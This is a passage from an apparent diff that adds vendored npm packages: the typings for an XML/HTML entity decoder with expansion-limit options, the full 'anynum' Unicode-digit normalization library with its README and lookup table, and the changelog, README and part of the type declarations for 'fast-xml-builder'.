* @default 'remove'
*/
nullNCR?: 'remove' | 'throw';
}
export interface EntityDecoderOptions {
/**
* Extra named entities merged into the **base map** (trusted, counts as `'base'` tier).
* These are combined with the built‑in XML entities (`lt`, `gt`, `quot`, `apos`).
* Values containing `&` are silently skipped to prevent recursive expansion.
*
* @default null
*/
namedEntities?: Record<string, string | { regex: RegExp; val: string | EntityValFn }> | null;
/**
* Hook called once on the fully decoded string (after all replacements).
*
* - Receives `(resolved, original)` and **must return a string**.
* - To reject expansion, return `original`.
* - To sanitize, return a cleaned version of `resolved`.
*
* @example
* postCheck: (resolved, original) =>
* /<[a-z]/i.test(resolved) ? original : resolved
*/
postCheck?: ((resolved: string, original: string) => string) | null;
/**
* Whether numeric character references (`&#NNN;`, `&#xHH;`) are allowed.
* @default true
*/
numericAllowed?: boolean;
/**
* Array of entity names or numeric references to leave unexpanded.
* @default []
*/
leave?: string[];
/**
* Array of entity names or numeric references to remove.
* @default []
*/
remove?: string[];
/**
* Security limits for entity expansion.
*/
limit?: EntityDecoderLimitOptions;
/**
* Numeric Character Reference (NCR) policy.
*/
ncr?: EntityDecoderNCROptions;
/**
* Hook called once **at registration time** for each entity passed to
* `setExternalEntities()` or `addExternalEntity()`.
*
* - `'allow'` (or `ENTITY_ACTION.ALLOW`) — register the entity normally (default)
* - `'block'` (or `ENTITY_ACTION.BLOCK`) — silently skip; the entity is not stored
* - `'throw'` (or `ENTITY_ACTION.THROW`) — abort registration with an `Error`
*
* The hook receives the entity name (without `&`/`;`) and the resolved string
* value. It is **not** called during `decode()` — only when entities are added.
*
* @example
* const dec = new EntityDecoder({
* onExternalEntity: (name, value) =>
* DANGEROUS_NAMES.has(name) ? ENTITY_ACTION.BLOCK : ENTITY_ACTION.ALLOW,
* });
*/
onExternalEntity?: EntityRegistrationHook | null;
/**
* Hook called once **at registration time** for each entity passed to
* `addInputEntities()`.
*
* Follows the same `'allow' | 'block' | 'throw'` contract as `onExternalEntity`.
*
* @example
* const dec = new EntityDecoder({
* // Block all input / DOCTYPE entities unconditionally
* onInputEntity: () => ENTITY_ACTION.BLOCK,
* });
*/
onInputEntity?: EntityRegistrationHook | null;
}
// ---------------------------------------------------------------------------
// EntityDecoder class
// ---------------------------------------------------------------------------
/**
* Single‑pass, zero‑regex entity decoder for XML/HTML content.
*
* ## Entity lookup priority (highest → lowest)
* 1. **input / runtime** – injected via `addInputEntities()` (DOCTYPE per document)
* 2. **persistent external** – set via `setExternalEntities()` / `addExternalEntity()`
* 3. **base map** – built‑in XML entities + user‑supplied `namedEntities`
*
* Numeric references (`&#NNN;`, `&#xHH;`) are resolved directly and count as the `'base'` tier.
*
* @example
* const decoder = new EntityDecoder({
* namedEntities: COMMON_HTML,
* maxTotalExpansions: 100
* });
* decoder.setExternalEntities({ brand: 'Acme' });
*
* decoder.addInputEntities({ version: '1.0' });
* decoder.decode('&brand; v&version; &lt;'); // 'Acme v1.0 <'
*
* decoder.reset(); // clears input entities + counters, keeps external entities
*/
export class EntityDecoder {
constructor(options?: EntityDecoderOptions);
setExternalEntities(
map: Record<string, string | { regex: RegExp; val: string | EntityValFn }>
): void;
addExternalEntity(key: string, value: string): void;
addInputEntities(
map: Record<
string,
| string
| { regx: RegExp; val: string | EntityValFn }
| { regex: RegExp; val: string | EntityValFn }
>
): void;
reset(): this;
/** Update the XML version used for NCR classification, once the document's `<?xml version="...">` declaration is parsed. */
setXmlVersion(version: number): void;
decode(str: string): string;
}
// ---------------------------------------------------------------------------
// Named entity group exports (for use with `namedEntities` option)
// ---------------------------------------------------------------------------
export const COMMON_HTML: Record<string, string>;
export const ALL_ENTITIES: Record<string, string>;
export const XML: Record<string, string>;
export const BASIC_LATIN: Record<string, string>;
export const LATIN_ACCENTS: Record<string, string>;
export const LATIN_EXTENDED: Record<string, string>;
export const GREEK: Record<string, string>;
export const CYRILLIC: Record<string, string>;
export const MATH: Record<string, string>;
export const MATH_ADVANCED: Record<string, string>;
export const ARROWS: Record<string, string>;
export const SHAPES: Record<string, string>;
export const PUNCTUATION: Record<string, string>;
export const CURRENCY: Record<string, string>;
export const FRACTIONS: Record<string, string>;
export const MISC_SYMBOLS: Record<string, string>;

29
node_modules/@nodable/entities/src/index.js generated vendored Normal file
View File

@@ -0,0 +1,29 @@
/**
* @nodable/entities
*
* Standalone, zero-dependency XML/HTML entity replacement.
*
*/
export { default as EntityDecoder, ENTITY_ACTION } from './EntityDecoder.js';
export {
COMMON_HTML,
XML,
ARROWS,
BASIC_LATIN,
CURRENCY,
MATH,
MATH_ADVANCED,
CYRILLIC,
FRACTIONS,
GREEK,
LATIN_ACCENTS,
LATIN_EXTENDED,
MISC_SYMBOLS,
PUNCTUATION,
SHAPES,
} from './entities.js';
export { ALL_ENTITIES } from './all-entities.js';
export { default as EntityEncoder } from './EntityEncoder.js';

21
node_modules/anynum/LICENSE generated vendored Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Natural Intelligence
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

142
node_modules/anynum/README.md generated vendored Normal file
View File

@@ -0,0 +1,142 @@
# anynum
Normalize Unicode decimal digits and minus signs to ASCII.
Converts digits from any script — Devanagari, Arabic-Indic, Thai, Bengali, Fullwidth, and [50+ others](#supported-scripts) — to their ASCII equivalents (`0`–`9`). Also normalizes Unicode minus variants (`−`, `-`, `﹣`) to ASCII `-`.
Pairs naturally with [`strnum`](https://github.com/nicolo-ribaudo/strnum) — use `anynum` to normalize first, then `strnum` to detect the numeric type.
```js
import anynum from 'anynum';
anynum('१२.३४') // → '12.34' (Devanagari)
anynum('٣٫١٤') // → '3.14' (Arabic-Indic)
anynum('−४२') // → '-42' (Unicode minus + Devanagari)
anynum('-99.5') // → '-99.5' (Fullwidth minus + Fullwidth digits)
anynum('hello') // → 'hello' (no digits — zero allocation)
anynum('100') // → '100' (already ASCII — zero allocation)
```
---
## Install
```bash
npm install anynum
```
---
## Usage
```js
// ESM
import anynum from 'anynum';
import { anynum } from 'anynum';
```
### API
```ts
anynum(str: string): string
```
- Accepts a `string`, returns a `string`.
- Non-string values are returned as-is (no throw).
- Non-digit characters pass through unchanged.
- If no conversion is needed, the **original string is returned** (zero allocation).
---
## What gets converted
### Decimal digits
Any Unicode character in category `Nd` (decimal digit) is mapped to its ASCII equivalent. This covers all positional decimal digit scripts — every script whose digits represent `0`–`9` by position.
```js
anynum('๑๒๓') // Thai → '123'
anynum('੧੨੩') // Gurmukhi → '123'
anynum('᠑᠒᠓') // Mongolian → '123'
anynum('𝟏𝟐𝟑') // Math Bold → '123'
```
### Unicode minus variants
Three Unicode characters are normalized to ASCII `-` (`U+002D`):
| Code point | Character | Name |
|---|---|---|
| `U+2212` | `−` | MINUS SIGN (mathematical) |
| `U+FF0D` | `-` | FULLWIDTH HYPHEN-MINUS |
| `U+FE63` | `﹣` | SMALL HYPHEN-MINUS |
Dashes used for punctuation — EN DASH (`–`), EM DASH (`—`), HYPHEN (`‐`) — are intentionally **not** converted.
```js
anynum('−42') // U+2212 MINUS SIGN → '-42'
anynum('-42') // U+FF0D FULLWIDTH → '-42'
anynum('–42') // U+2013 EN DASH → '–42' (unchanged)
```
---
## Use with strnum
`anynum` and `strnum` compose cleanly:
```js
import anynum from 'anynum';
import strnum from 'strnum';
strnum(anynum('१२.३४')) // → 12.34 (number, float)
strnum(anynum('−४२')) // → '-42' (string; strnum handles sign detection)
strnum(anynum('hello')) // → 'hello'
```
---
## Supported scripts
50+ decimal digit scripts from Unicode `Nd` category, including:
| Script | Zero | Sample |
|---|---|---|
| Devanagari (Hindi/Marathi/Nepali) | `U+0966` | `०१२३४५६७८९` |
| Arabic-Indic | `U+0660` | `٠١٢٣٤٥٦٧٨٩` |
| Extended Arabic-Indic (Urdu/Persian) | `U+06F0` | `۰۱۲۳۴۵۶۷۸۹` |
| Bengali | `U+09E6` | `০১২৩৪৫৬৭৮৯` |
| Gurmukhi | `U+0A66` | `੦੧੨੩੪੫੬੭੮੯` |
| Gujarati | `U+0AE6` | `૦૧૨૩૪૫૬૭૮૯` |
| Odia | `U+0B66` | `୦୧୨୩୪୫୬୭୮୯` |
| Tamil | `U+0BE6` | `௦௧௨௩௪௫௬௭௮௯` |
| Telugu | `U+0C66` | `౦౧౨౩౪౫౬౭౮౯` |
| Kannada | `U+0CE6` | `೦೧೨೩೪೫೬೭೮೯` |
| Malayalam | `U+0D66` | `൦൧൨൩൪൫൬൭൮൯` |
| Thai | `U+0E50` | `๐๑๒๓๔๕๖๗๘๙` |
| Lao | `U+0ED0` | `໐໑໒໓໔໕໖໗໘໙` |
| Tibetan | `U+0F20` | `༠༡༢༣༤༥༦༧༨༩` |
| Myanmar | `U+1040` | `၀၁၂၃၄၅၆၇၈၉` |
| Khmer | `U+17E0` | `០១២៣៤៥៦៧៨៩` |
| Mongolian | `U+1810` | `᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙` |
| Fullwidth (CJK context) | `U+FF10` | `0123456789` |
| Mathematical Bold | `U+1D7CE` | `𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗` |
| Adlam | `U+1E950` | `𞥐𞥑𞥒𞥓𞥔𞥕𞥖𞥗𞥘𞥙` |
| … and 30+ more | | |
---
## What it does NOT convert
- **Kanji/Chinese numeral words** (`三`, `百`, `万`) — these are ideographic numerals, not decimal digits. Each language has its own positional system requiring separate parsing logic.
- **Roman numerals** (`Ⅳ`, `Ⅻ`) — not decimal digits.
- **Punctuation dashes** (`–` EN, `—` EM, `‐` HYPHEN) — not numeric signs.
- **Decimal separators** — commas, periods, Arabic decimal comma (`٫`) are passed through as-is. Separator normalization is the caller's responsibility.
---
## License
MIT

135
node_modules/anynum/anynum.js generated vendored Normal file
View File

@@ -0,0 +1,135 @@
'use strict';
import { TABLE, TABLE_OFFSET, HIGH_MAP, NOT_DIGIT } from './digitTable.js';
const CHAR_0 = 48; // '0'.charCodeAt(0)
const CHAR_9 = 57; // '9'.charCodeAt(0)
const CHAR_MINUS = 45; // '-'.charCodeAt(0)
// Unicode minus/hyphen variants worth normalizing to ASCII '-' in numeric context:
// U+2212 MINUS SIGN − (mathematically correct minus)
// U+FF0D FULLWIDTH HYPHEN-MINUS - (Japanese fullwidth context)
// U+FE63 SMALL HYPHEN-MINUS ﹣ (small form variant)
//
// NOT normalized (deliberate):
// U+2013 EN DASH – (punctuation, not a numeric sign)
// U+2014 EM DASH — (punctuation)
// U+2010 HYPHEN ‐ (typographic hyphen)
//
// Rationale: only characters a human or locale formatter would plausibly use
// as a numeric minus sign are normalized. Dashes used for punctuation are left
// alone to avoid mangling non-numeric strings.
const MINUS_SET = new Set([0x2212, 0xFF0D, 0xFE63]);
/**
* Normalize all Unicode decimal digit characters in a string to ASCII (0-9),
* and normalize Unicode minus variants to ASCII '-' (U+002D).
*
* Non-digit, non-minus characters are passed through unchanged.
*
* Performance design:
* - Fast path: if the string has no convertible characters, return it unchanged
* (zero allocation).
* - BMP digits (0x0660..0xFFFF excl. surrogates): flat Uint8Array lookup (O(1)).
* - Supplementary plane digits (> 0xFFFF, encoded as surrogate pairs): Map lookup.
* - Minus variants: checked inline with a small fixed Set.
*
* @param {string} str
* @returns {string}
*/
function anynum(str) {
if (typeof str !== 'string') return str;
const len = str.length;
if (len === 0) return str;
// Scan for first character needing conversion.
// If none found, return original string (zero allocation).
let firstHit = -1;
for (let i = 0; i < len; i++) {
const cc = str.charCodeAt(i);
// ASCII digit or ASCII minus — already normalized, skip fast
if ((cc >= CHAR_0 && cc <= CHAR_9) || cc === CHAR_MINUS) continue;
// Below first unicode digit script — check minus variants only
if (cc < TABLE_OFFSET) {
if (MINUS_SET.has(cc)) { firstHit = i; break; }
continue;
}
// Surrogate pairs live in BMP range 0xD800-0xDFFF — check before TABLE
if (cc >= 0xD800 && cc <= 0xDBFF) {
if (i + 1 < len) {
const low = str.charCodeAt(i + 1);
if (low >= 0xDC00 && low <= 0xDFFF) {
const cp = 0x10000 + ((cc - 0xD800) << 10) + (low - 0xDC00);
if (HIGH_MAP.has(cp)) { firstHit = i; break; }
}
}
continue;
}
// BMP non-surrogate: flat table lookup; also check minus variants in this range
if (TABLE[cc - TABLE_OFFSET] !== NOT_DIGIT || MINUS_SET.has(cc)) {
firstHit = i;
break;
}
}
// Nothing to replace — return original, zero allocation
if (firstHit === -1) return str;
// Build result: copy unchanged prefix, then convert from firstHit onward
const chars = [];
if (firstHit > 0) chars.push(str.slice(0, firstHit));
for (let i = firstHit; i < len; i++) {
const cc = str.charCodeAt(i);
// ASCII digit or ASCII minus — pass through
if ((cc >= CHAR_0 && cc <= CHAR_9) || cc === CHAR_MINUS) {
chars.push(str[i]);
continue;
}
// Below TABLE_OFFSET — check minus variants, else pass through
if (cc < TABLE_OFFSET) {
chars.push(MINUS_SET.has(cc) ? '-' : str[i]);
continue;
}
// Surrogate pairs
if (cc >= 0xD800 && cc <= 0xDBFF) {
if (i + 1 < len) {
const low = str.charCodeAt(i + 1);
if (low >= 0xDC00 && low <= 0xDFFF) {
const cp = 0x10000 + ((cc - 0xD800) << 10) + (low - 0xDC00);
const d = HIGH_MAP.get(cp);
if (d !== undefined) {
chars.push(String.fromCharCode(d + 48));
i++; // consume low surrogate
continue;
}
}
}
chars.push(str[i]);
continue;
}
// BMP non-surrogate: flat table lookup + minus variants
if (MINUS_SET.has(cc)) {
chars.push('-');
continue;
}
const d = TABLE[cc - TABLE_OFFSET];
chars.push(d !== NOT_DIGIT ? String.fromCharCode(d + 48) : str[i]);
}
return chars.join('');
}
export { anynum };
export default anynum;

116
node_modules/anynum/digitTable.js generated vendored Normal file
View File

@@ -0,0 +1,116 @@
/**
* Flat lookup table: maps Unicode code point → ASCII digit (0-9).
* Only decimal digit characters (Unicode category Nd) are included.
*
* Strategy: Int32Array of size (maxCodePoint - minCodePoint + 1).
* Value 0xFF means "not a digit". Value 0-9 is the ASCII digit value.
* This gives O(1) lookup with no branching, no bisect, no loop.
*
* Memory: range is 0x0660 to 0x1FBF0 → ~129,936 entries × 1 byte = ~127 KB.
* Acceptable for a one-time init; lookup is a single array index.
*/
// All known Unicode Nd (decimal digit) script zero code points.
// Each script has exactly 10 consecutive digits: zero+0 .. zero+9.
const SCRIPT_ZEROS = [
// Basic Latin (ASCII) — included for completeness / pass-through
0x0030, // 0-9
// Arabic scripts
0x0660, // Arabic-Indic ٠١٢٣٤٥٦٧٨٩
0x06F0, // Extended Arabic-Indic (Urdu/Persian/Sindhi) ۰۱۲۳
// Indic scripts
0x0966, // Devanagari ०१२३४५६७८९
0x09E6, // Bengali ০১২৩৪৫৬৭৮৯
0x0A66, // Gurmukhi ੦੧੨੩੪੫੬੭੮੯
0x0AE6, // Gujarati ૦૧૨૩૪૫૬૭૮૯
0x0B66, // Odia ୦୧୨୩୪୫୬୭୮୯
0x0BE6, // Tamil ௦௧௨௩௪௫௬௭௮௯
0x0C66, // Telugu ౦౧౨౩౪౫౬౭౮౯
0x0CE6, // Kannada ೦೧೨೩೪೫೬೭೮೯
0x0D66, // Malayalam ൦൧൨൩൪൫൬൭൮൯
0x0DE6, // Sinhala Archaic ෦෧෨෩෪෫෬෭෮෯
// Southeast Asian scripts
0x0E50, // Thai ๐๑๒๓๔๕๖๗๘๙
0x0ED0, // Lao ໐໑໒໓໔໕໖໗໘໙
0x0F20, // Tibetan ༠༡༢༣༤༥༦༧༨༩
0x1040, // Myanmar ၀၁၂၃၄၅၆၇၈၉
0x1090, // Myanmar Shan ႐႑႒႓႔႕႖႗႘႙
0x17E0, // Khmer ០១២៣៤៥៦៧៨៩
0x1810, // Mongolian ᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙
0x1946, // Limbu ᥆᥇᥈᥉᥊᥋᥌᥍᥎᥏
0x19D0, // New Tai Lue ᧐᧑᧒᧓᧔᧕᧖᧗᧘᧙
0x1A80, // Tai Tham Hora ᪀᪁᪂᪃᪄᪅᪆᪇᪈᪉
0x1A90, // Tai Tham Tham ᪐᪑᪒᪓᪔᪕᪖᪗᪘᪙
0x1B50, // Balinese ᭐᭑᭒᭓᭔᭕᭖᭗᭘᭙
0x1BB0, // Sundanese ᮰᮱᮲᮳᮴᮵᮶᮷᮸᮹
0x1C40, // Lepcha ᱀᱁᱂᱃᱄᱅᱆᱇᱈᱉
0x1C50, // Ol Chiki ᱐᱑᱒᱓᱔᱕᱖᱗᱘᱙
// Fullwidth (CJK context)
0xFF10, // Fullwidth 0123456789
// Mathematical digit variants (Unicode math block)
0x1D7CE, // Mathematical Bold
0x1D7D8, // Mathematical Double-Struck
0x1D7E2, // Mathematical Sans-Serif
0x1D7EC, // Mathematical Sans-Serif Bold
0x1D7F6, // Mathematical Monospace
// Other scripts
0x104A0, // Osmanya 𐒠𐒡𐒢𐒣𐒤𐒥𐒦𐒧𐒨𐒩
0x10D30, // Hanifi Rohingya 𐴰𐴱𐴲𐴳𐴴𐴵𐴶𐴷𐴸𐴹
0x11066, // Brahmi 𑁦𑁧𑁨𑁩𑁪𑁫𑁬𑁭𑁮𑁯
0x110F0, // Sora Sompeng 𑃰𑃱𑃲𑃳𑃴𑃵𑃶𑃷𑃸𑃹
0x11136, // Chakma 𑄶𑄷𑄸𑄹𑄺𑄻𑄼𑄽𑄾𑄿
0x111D0, // Sharada 𑇐𑇑𑇒𑇓𑇔𑇕𑇖𑇗𑇘𑇙
0x112F0, // Khudawadi 𑋰𑋱𑋲𑋳𑋴𑋵𑋶𑋷𑋸𑋹
0x11450, // Newa 𑑐𑑑𑑒𑑓𑑔𑑕𑑖𑑗𑑘𑑙
0x114D0, // Tirhuta 𑓐𑓑𑓒𑓓𑓔𑓕𑓖𑓗𑓘𑓙
0x11650, // Modi 𑙐𑙑𑙒𑙓𑙔𑙕𑙖𑙗𑙘𑙙
0x116C0, // Takri 𑛀𑛁𑛂𑛃𑛄𑛅𑛆𑛇𑛈𑛉
0x11730, // Ahom 𑜰𑜱𑜲𑜳𑜴𑜵𑜶𑜷𑜸𑜹
0x118E0, // Warang Citi 𑣠𑣡𑣢𑣣𑣤𑣥𑣦𑣧𑣨𑣩
0x11950, // Dives Akuru 𑥐𑥑𑥒𑥓𑥔𑥕𑥖𑥗𑥘𑥙
0x11BF0, // Khitan Small Script 𑯰𑯱𑯲𑯳𑯴𑯵𑯶𑯷𑯸𑯹
0x11C50, // Bhaiksuki 𑱐𑱑𑱒𑱓𑱔𑱕𑱖𑱗𑱘𑱙
0x11D50, // Masaram Gondi 𑵐𑵑𑵒𑵓𑵔𑵕𑵖𑵗𑵘𑵙
0x11DA0, // Gunjala Gondi 𑶠𑶡𑶢𑶣𑶤𑶥𑶦𑶧𑶨𑶩
0x11F50, // Kawi 𑽐𑽑𑽒𑽓𑽔𑽕𑽖𑽗𑽘𑽙
0x16A60, // Mro 𖩠𖩡𖩢𖩣𖩤𖩥𖩦𖩧𖩨𖩩
0x16AC0, // Tangsa 𖫀𖫁𖫂𖫃𖫄𖫅𖫆𖫇𖫈𖫉
0x16B50, // Pahawh Hmong 𖭐𖭑𖭒𖭓𖭔𖭕𖭖𖭗𖭘𖭙
0x1E140, // Nyiakeng Puachue Hmong 𞅀𞅁𞅂𞅃𞅄𞅅𞅆𞅇𞅈𞅉
0x1E2F0, // Wancho 𞋰𞋱𞋲𞋳𞋴𞋵𞋶𞋷𞋸𞋹
0x1E4F0, // Nag Mundari 𞓰𞓱𞓲𞓳𞓴𞓵𞓶𞓷𞓸𞓹
0x1E950, // Adlam 𞥐𞥑𞥒𞥓𞥔𞥕𞥖𞥗𞥘𞥙
0x1FBF0, // Segmented digit symbols 🯰🯱🯲🯳🯴🯵🯶🯷🯸🯹
];
// Build a sparse Map for scripts above 0xFFFF (surrogate-pair range).
// These can't go into a flat Uint8Array indexed by code point efficiently.
const NOT_DIGIT = 0xFF;
const HIGH_MAP = new Map(); // codePoint → digit value (0-9)
const LOW_MAX = 0xFFFF;
const LOW_MIN = 0x0660; // first non-ASCII digit script
// Flat Uint8Array covering 0x0660 .. 0xFFFF
const TABLE_OFFSET = LOW_MIN;
const TABLE_SIZE = LOW_MAX - LOW_MIN + 1;
const TABLE = new Uint8Array(TABLE_SIZE).fill(NOT_DIGIT);
for (const zero of SCRIPT_ZEROS) {
for (let d = 0; d < 10; d++) {
const cp = zero + d;
if (cp <= LOW_MAX) {
TABLE[cp - TABLE_OFFSET] = d;
} else {
HIGH_MAP.set(cp, d);
}
}
}
export { TABLE, TABLE_OFFSET, HIGH_MAP, NOT_DIGIT };

42
node_modules/anynum/package.json generated vendored Normal file
View File

@@ -0,0 +1,42 @@
{
"name": "anynum",
"version": "1.0.1",
"description": "Normalize all Unicode decimal digits (Devanagari, Arabic, Thai, etc.) to ASCII numerals. Zero dependencies, performance-first.",
"type": "module",
"main": "./anynum.js",
"files": [
"anynum.js",
"digitTable.js",
"README.md"
],
"scripts": {
"test": "jasmine tests/anynum.test.js",
"bench": "node test/bench.js"
},
"keywords": [
"unicode",
"digits",
"normalize",
"devanagari",
"arabic",
"hindi",
"japanese",
"indic",
"asian",
"math",
"numerals",
"strnum"
],
"repository": {
"type": "git",
"url": "https://github.com/NaturalIntelligence/anynum"
},
"author": "Amit Gupta (https://solothought.work/)",
"license": "MIT",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/NaturalIntelligence"
}
]
}

52
node_modules/fast-xml-builder/CHANGELOG.md generated vendored Normal file
View File

@@ -0,0 +1,52 @@
**1.3.1** (2026-08-14)
- fix: preserve negative sign for zero (By [rajanpanth](https://github.com/rajanpanth))
**1.3.0** (2026-07-11)
- upgrade:
- xml-naming v0.3.0: cache support
- PEM v1.6.2: sibling bug fix
**1.2.1** (2026-07-03)
- fix: escape quotes in stopNode attribute values (By [greymoth](https://github.com/greymoth-jp))
- fix: neutralize double hyphen in multi-key comment object (By [spokodev](https://github.com/spokodev))
**1.2.0** (2026-05-08)
- Add support for `sanitizeName` option
- Support xml-naming for validating and sanitizing tag and attribute names
**1.1.9** (2026-05-06)
- fix: format output for preserve order when indent by is set to empty string
**1.1.8** (2026-05-05)
- fix: skip text property for PI tags
- improve typings
**1.1.7** (2026--05-04)
- fix security issues when attribute value contains quotes
**1.1.6** (2026--05-04)
- fix security issues related to comment
- skip comment with null value
**1.1.5** (2026-04-17)
- fix security issues related to comment and cdata
**1.1.4** (2026-03-16)
- support maxNestedTags option
**1.1.3** (2026-03-13)
- declare Matcher & Expression as unknown so user is not forced to install path-expression-matcher
**1.1.2** (2026-03-11)
- fix typings
**1.1.1** (2026-03-11)
- upgrade path-expression-matcher to 1.1.3
**1.1.0** (2026-03-10)
- Integrate [path-expression-matcher](https://github.com/NaturalIntelligence/path-expression-matcher)

21
node_modules/fast-xml-builder/LICENSE generated vendored Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Natural Intelligence
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

77
node_modules/fast-xml-builder/README.md generated vendored Normal file
View File

@@ -0,0 +1,77 @@
# fast-xml-builder
Build XML from JSON
[![fast-xml-builder downloads](https://img.shields.io/npm/dw/fast-xml-builder.svg)](https://npm-compare.com/fast-xml-builder)
[![fast-xml-builder version](https://img.shields.io/npm/v/fast-xml-builder.svg)](https://www.npmjs.com/package/fast-xml-builder)
[![fast-xml-builder license](https://img.shields.io/npm/l/fast-xml-builder.svg)](https://github.com/NaturalIntelligence/fast-xml-builder)
XML Builder was part of [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser) for years. But considering that any bug in the parser may false-alarm users who are only using the builder, we have decided to split it into a separate package.
## Installation
```bash
npm install fast-xml-builder
```
## Usage
```javascript
import XMLBuilder from 'fast-xml-builder';
const builder = new XMLBuilder();
const xml = builder.build({ name: 'value' });
```
fast-xml-builder fully supports the response generated by fast-xml-parser. You can use options like `preserveOrder`, `ignoreAttributes`, `attributeNamePrefix`, `textNodeName`, `cdataPropName`, `commentPropName`, `format`, `indentBy`, `suppressEmptyNode`, `suppressUnpairedNode`, `stopNodes`, `oneListGroup`, `maxNestedTags`, and many more.
## Default Options
```js
{
attributeNamePrefix: '@_',
attributesGroupName: false,
textNodeName: '#text',
ignoreAttributes: true,
cdataPropName: false,
commentPropName: false,
format: false,
indentBy: ' ',
suppressEmptyNode: false,
suppressUnpairedNode: true,
suppressBooleanAttributes: true,
preserveOrder: false,
processEntities: true,
unpairedTags: [],
stopNodes: [],
oneListGroup: false,
maxNestedTags: 100,
jPath: true,
tagValueProcessor: (key, val) => val,
attributeValueProcessor: (attrName, val) => val,
}
```
## Options Reference
Check [Options reference](docs/Builder_v1.md) for more detail and examples.
- **arrayNodeName**: When building XML from an array, set `arrayNodeName` to wrap each element in a tag name.
- **attributeNamePrefix**: Prefix used to identify attribute properties in the JS object. Default: `'@_'`.
- **attributesGroupName**: Group name for attributes in the JS object. When set, all attributes are expected to be nested under this key. Not supported with `preserveOrder: true`.
- **attributeValueProcessor**: Customize how attribute values are serialized. Receives the attribute name and value.
- **cdataPropName**: Property name that identifies CDATA content. Values under this key are wrapped in `<![CDATA[...]]>`.
- **commentPropName**: Property name that identifies comment content. Values under this key are rendered as `<!-- ... -->`.
- **format**: By default, output is a single-line XML string. Set `format: true` for human-readable, indented output.
- **ignoreAttributes**: By default (`true`), attributes are skipped. Set to `false` to include them. Also supports selective ignoring via an array of strings, array of regular expressions, or a callback function.
- **indentBy**: String used for each level of indentation. Default: `' '` (two spaces). Only applies when `format: true`.
- **maxNestedTags**: Limits the maximum depth of nested tags. An error is thrown if this depth is exceeded. Default: `100`.
- **oneListGroup**: Groups all repeated child tags under a single parent tag.
- **preserveOrder**: When a JS object was produced by XMLParser with `preserveOrder: true`, pass the same option to XMLBuilder to reconstruct the original XML correctly.
- **processEntities**: When `true` (default), special characters in text and attribute values are replaced with XML entities (`&amp;`, `&lt;`, etc.). Set to `false` for a performance boost when you know your content has no entities. Note: quotes in attribute values are always escaped regardless of this setting.
- **stopNodes**: Tags listed here are treated as raw content containers — their text content is written as-is without entity encoding. Accepts an array of tag name strings or `Expression` instances from `path-expression-matcher`. The old `*.tagName` wildcard syntax is still accepted and automatically converted to the equivalent `..tagName` deep-wildcard syntax.
- **suppressBooleanAttributes**: When `true` (default), attributes with the value `true` are rendered without the value (e.g. `<tag attr>` instead of `<tag attr="true">`).
- **suppressEmptyNode**: When `true`, tags with no text value are rendered as self-closing (`<tag/>`).
- **suppressUnpairedNode**: When `true` (default), unpaired tags are rendered without a closing slash (`<br>`). When `false`, they are rendered as `<br/>`.
- **tagValueProcessor**: Customize how tag text values are serialized. Receives the tag name and value.
- **textNodeName**: Property name representing the text content of a tag in the JS object. Default: `'#text'`.
- **unpairedTags**: List of tag names that have no matching closing tag (e.g. `<br>` in HTML).

1
node_modules/fast-xml-builder/lib/fxb.cjs generated vendored Normal file

File diff suppressed because one or more lines are too long

270
node_modules/fast-xml-builder/lib/fxb.d.cts generated vendored Normal file
View File

@@ -0,0 +1,270 @@
// const { Expression } = require('path-expression-matcher');
//type Matcher = unknown;
type Expression = unknown;
/**
* A lightweight, live read-only view of a Matcher instance.
*
* Returned by `Matcher.readOnly()`. The same instance is reused across every
* callback invocation — no allocation overhead per call. Reads directly from
* the parent Matcher's internal state so it always reflects the current parser
* position with no copying or freezing.
*/
class MatcherView {
readonly separator: string;
/** Check if current path matches an Expression. */
matches(expression: Expression): boolean;
/** Get current tag name, or `undefined` if path is empty. */
getCurrentTag(): string | undefined;
/** Get current namespace, or `undefined` if not present. */
getCurrentNamespace(): string | undefined;
/** Get attribute value of the current node. */
getAttrValue(attrName: string): any;
/** Check if the current node has a given attribute. */
hasAttr(attrName: string): boolean;
/** Sibling position of the current node (child index in parent). */
getPosition(): number;
/** Occurrence counter of the current tag name at this level. */
getCounter(): number;
/** Number of nodes in the current path. */
getDepth(): number;
/** Current path as a string (e.g. `"root.users.user"`). */
toString(separator?: string, includeNamespace?: boolean): string;
